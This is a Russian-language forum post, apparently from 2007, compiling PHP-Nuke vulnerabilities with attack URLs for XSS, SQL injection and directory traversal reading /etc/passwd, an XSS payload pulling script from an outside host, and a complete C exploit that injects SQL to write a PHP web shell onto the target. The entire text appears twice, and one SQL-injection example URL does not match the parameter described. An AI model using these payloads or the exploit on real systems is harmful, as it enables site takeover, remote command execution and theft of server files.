krutoni
31.03.2007, 13:52
Поискал, не нашёл на форму faq по уязвимостям в php-nuke. Вот собрал не большой.
PHP-Nuke 6.x, 7-7.6
Тип: XSS
Уязвимость существует в модуле search, при обработки входных данных в переменной 'min'
Примеры:
http://site.com/phpnuke/modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
http://site.com/phpnuke/modules.php?name=FAQ&myfaq=yes&i d_cat=1&
categories=45435[XSS]
Так же можно на прямую запросить некоторые сценарии.
Примеры:
http://site.com/phpnuke/modules.php?name=Your_Account&op=my_headlines
http://site.com/phpnuke/modules.php?name=Your_Account&op=userinfo
http://site.com/phpnuke/modules.php?name=Encyclopedia&file=index&op=search
PHP-Nuke 7.8
Тип:SQL-Injection
Уязвимость при обработке входных данных в параметре username в модуле Your_Account, в параметре url модуля Downloads и в параметре description модуля Web_link. С помощью специально сформулированного URL'a, можно выполнить sql запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Web_Links
& l_op=Add&title=what&description=[SQL]&url=what
http://site.com/phpnuke/modules.php?name=Downloads
&d_op=Add&url=[SQL]&title=what&description=what
Эксплоит:
/*================================================= =\
# SecurityReason.com |
# ( sp3x ) sp3x@securtiyreason.com |
# |
# /---------------------------\ |
# | Ctitical SQL INCJECTION | |
# | PHPNuke <= 7.8 | |
# \---------------------------/ |
# |
# PHPNuke-sp3x[1] |
# This exploit is based on 'username' |
# SQL injection vuln in Your_Account module. |
# |
# References: |
# securityreason.com/achievement_securityalert/32 |
# |
# ---| work only on mysql version > 4.0 |--- |
# |
#================================================= =*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of the web server
void begin(void);
void sqlinj(int sock, char *argv[]);
int main(int argc, char *argv[]){
int sock;
struct sockaddr_in addr;
struct hostent *hp=0;
if(argc!=4) {
begin();
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n\n[-] Creating socket [FAILED]\n\n");
exit(EXIT_FAILURE);
}
printf("\n\n[+] Creating socket [OK]\n");
if((hp = gethostbyname(argv[1])) == 0) {
printf("[-] Resolving %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Resolving %s [OK]\n", argv[1]);
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[-] Connecting at %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Connecting at %s [OK]\n", argv[1]);
sqlinj(sock, argv);
printf("[+] Now check the shell\n"
"[+] http://%s\n\n",argv[1]);
shutdown(sock, 2);
close(sock);
return(0);
}
void begin(void){
printf("*---------------------------------------*\n"
"* SecurityReason *\n"
"* EXPLOIT for PHPNuke <=7.8 *\n"
"* Coded by : sp3x Date : 16.02.2006 *\n"
"*---------------------------------------*\n\n"
" Usage : \n"
" PHPNuke-sp3x[1] HOST /[path_phpnuke] [s_directory]\n\n"
" HOST - Host where is phpnuke example: localhost \n"
" [path_phpnuke] - PHPNuke directory\n"
" [s_directory] - shell directory where to upload\n\n"
" Example :\n\n"
" PHPNuke-sp3x[1] www.victim.com /phpnuke/html/ /home/sp3x/nuke78/html/shell.php \n"
" After this go to http://www.victim.com/phpnuke/html/shell.php?sr=ls \n\n");
exit(0);
return;
}
void sqlinj(int sock, char *argv[]){
FILE *go;
int size = 264;
go = fdopen(sock,"a");
if (go == 0) {
perror("[-] fdopen [FAILED]\n\n");
close(sock);
exit(EXIT_FAILURE);
}
setbuf(go,NULL);
size+=strlen(argv[3]);
fprintf(go,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Referer: http://%s%s?name=Your_Account&op=new user\n"
"User-Agent: SecurityReason - [SR]\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"name=Your_Account&op=new user&user_email=securitybreak@securityreason.com&"
"user_password=hackme&user_password2=hackme&username="
"s'/**/UNION/**/SELECT/**/'<? echo \"SecurityReason Shell\";system($_GET
[sr]);'/**/FROM/**/nuke_authors/**/INTO/**/OUTFILE/**/'%s'/*\n\n"
"Cookie: lang=english\r\n\r\n",argv[2],argv[1],argv[1],argv[2],size,argv[3]);
printf("[+] Sending exploit [OK]\n\n");
}
PHP-Nuke 7.8
Тип: Межсайтовый скриптинг
Уязвимость существует из-за недостаточной обработки входных данных в параметре "pagetitle" в сценарии "header.php". С помощью специально сформулированного запроса, можно выольинть произвольный код.
Пример:
http://site.com/phpnuke/?pagetitle=title</title></head><script+src=http://xacksite.com/script.js
PHP-Nuke 7.9
Тип:SQL-inection
Уязвимость во входных данных в параметре "forwhat" в сценарии modules/journal/search.php
С помощью специально сформулированного URL'а, можно выполнить произвольный sql запрос.
Пример:
http://site.com/phpnuke/moblog/big.php?img=[SQL]&pg=1
PHP-Nuke 7.9
Тип:Обзод каталога
Можно просматривать файлы на целевой системе. Уязвимость существует в сценарии 'modules.php' из-за недостаточной обработки входных данных. Можно послать HTTP GET или POST запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Search
&file=../../../../../../ ../../../etc/passwd%00
PHP-Nuke 6.x, 7-7.6
Тип: XSS
Уязвимость существует в модуле search, при обработки входных данных в переменной 'min'
Примеры:
http://site.com/phpnuke/modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
http://site.com/phpnuke/modules.php?name=FAQ&myfaq=yes&i d_cat=1&
categories=45435[XSS]
Так же можно на прямую запросить некоторые сценарии.
Примеры:
http://site.com/phpnuke/modules.php?name=Your_Account&op=my_headlines
http://site.com/phpnuke/modules.php?name=Your_Account&op=userinfo
http://site.com/phpnuke/modules.php?name=Encyclopedia&file=index&op=search
PHP-Nuke 7.8
Тип:SQL-Injection
Уязвимость при обработке входных данных в параметре username в модуле Your_Account, в параметре url модуля Downloads и в параметре description модуля Web_link. С помощью специально сформулированного URL'a, можно выполнить sql запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Web_Links
& l_op=Add&title=what&description=[SQL]&url=what
http://site.com/phpnuke/modules.php?name=Downloads
&d_op=Add&url=[SQL]&title=what&description=what
Эксплоит:
/*================================================= =\
# SecurityReason.com |
# ( sp3x ) sp3x@securtiyreason.com |
# |
# /---------------------------\ |
# | Ctitical SQL INCJECTION | |
# | PHPNuke <= 7.8 | |
# \---------------------------/ |
# |
# PHPNuke-sp3x[1] |
# This exploit is based on 'username' |
# SQL injection vuln in Your_Account module. |
# |
# References: |
# securityreason.com/achievement_securityalert/32 |
# |
# ---| work only on mysql version > 4.0 |--- |
# |
#================================================= =*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of the web server
void begin(void);
void sqlinj(int sock, char *argv[]);
int main(int argc, char *argv[]){
int sock;
struct sockaddr_in addr;
struct hostent *hp=0;
if(argc!=4) {
begin();
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n\n[-] Creating socket [FAILED]\n\n");
exit(EXIT_FAILURE);
}
printf("\n\n[+] Creating socket [OK]\n");
if((hp = gethostbyname(argv[1])) == 0) {
printf("[-] Resolving %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Resolving %s [OK]\n", argv[1]);
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[-] Connecting at %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Connecting at %s [OK]\n", argv[1]);
sqlinj(sock, argv);
printf("[+] Now check the shell\n"
"[+] http://%s\n\n",argv[1]);
shutdown(sock, 2);
close(sock);
return(0);
}
void begin(void){
printf("*---------------------------------------*\n"
"* SecurityReason *\n"
"* EXPLOIT for PHPNuke <=7.8 *\n"
"* Coded by : sp3x Date : 16.02.2006 *\n"
"*---------------------------------------*\n\n"
" Usage : \n"
" PHPNuke-sp3x[1] HOST /[path_phpnuke] [s_directory]\n\n"
" HOST - Host where is phpnuke example: localhost \n"
" [path_phpnuke] - PHPNuke directory\n"
" [s_directory] - shell directory where to upload\n\n"
" Example :\n\n"
" PHPNuke-sp3x[1] www.victim.com /phpnuke/html/ /home/sp3x/nuke78/html/shell.php \n"
" After this go to http://www.victim.com/phpnuke/html/shell.php?sr=ls \n\n");
exit(0);
return;
}
void sqlinj(int sock, char *argv[]){
FILE *go;
int size = 264;
go = fdopen(sock,"a");
if (go == 0) {
perror("[-] fdopen [FAILED]\n\n");
close(sock);
exit(EXIT_FAILURE);
}
setbuf(go,NULL);
size+=strlen(argv[3]);
fprintf(go,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Referer: http://%s%s?name=Your_Account&op=new user\n"
"User-Agent: SecurityReason - [SR]\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"name=Your_Account&op=new user&user_email=securitybreak@securityreason.com&"
"user_password=hackme&user_password2=hackme&username="
"s'/**/UNION/**/SELECT/**/'<? echo \"SecurityReason Shell\";system($_GET
[sr]);'/**/FROM/**/nuke_authors/**/INTO/**/OUTFILE/**/'%s'/*\n\n"
"Cookie: lang=english\r\n\r\n",argv[2],argv[1],argv[1],argv[2],size,argv[3]);
printf("[+] Sending exploit [OK]\n\n");
}
PHP-Nuke 7.8
Тип: Межсайтовый скриптинг
Уязвимость существует из-за недостаточной обработки входных данных в параметре "pagetitle" в сценарии "header.php". С помощью специально сформулированного запроса, можно выольинть произвольный код.
Пример:
http://site.com/phpnuke/?pagetitle=title</title></head><script+src=http://xacksite.com/script.js
PHP-Nuke 7.9
Тип:SQL-inection
Уязвимость во входных данных в параметре "forwhat" в сценарии modules/journal/search.php
С помощью специально сформулированного URL'а, можно выполнить произвольный sql запрос.
Пример:
http://site.com/phpnuke/moblog/big.php?img=[SQL]&pg=1
PHP-Nuke 7.9
Тип:Обзод каталога
Можно просматривать файлы на целевой системе. Уязвимость существует в сценарии 'modules.php' из-за недостаточной обработки входных данных. Можно послать HTTP GET или POST запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Search
&file=../../../../../../ ../../../etc/passwd%00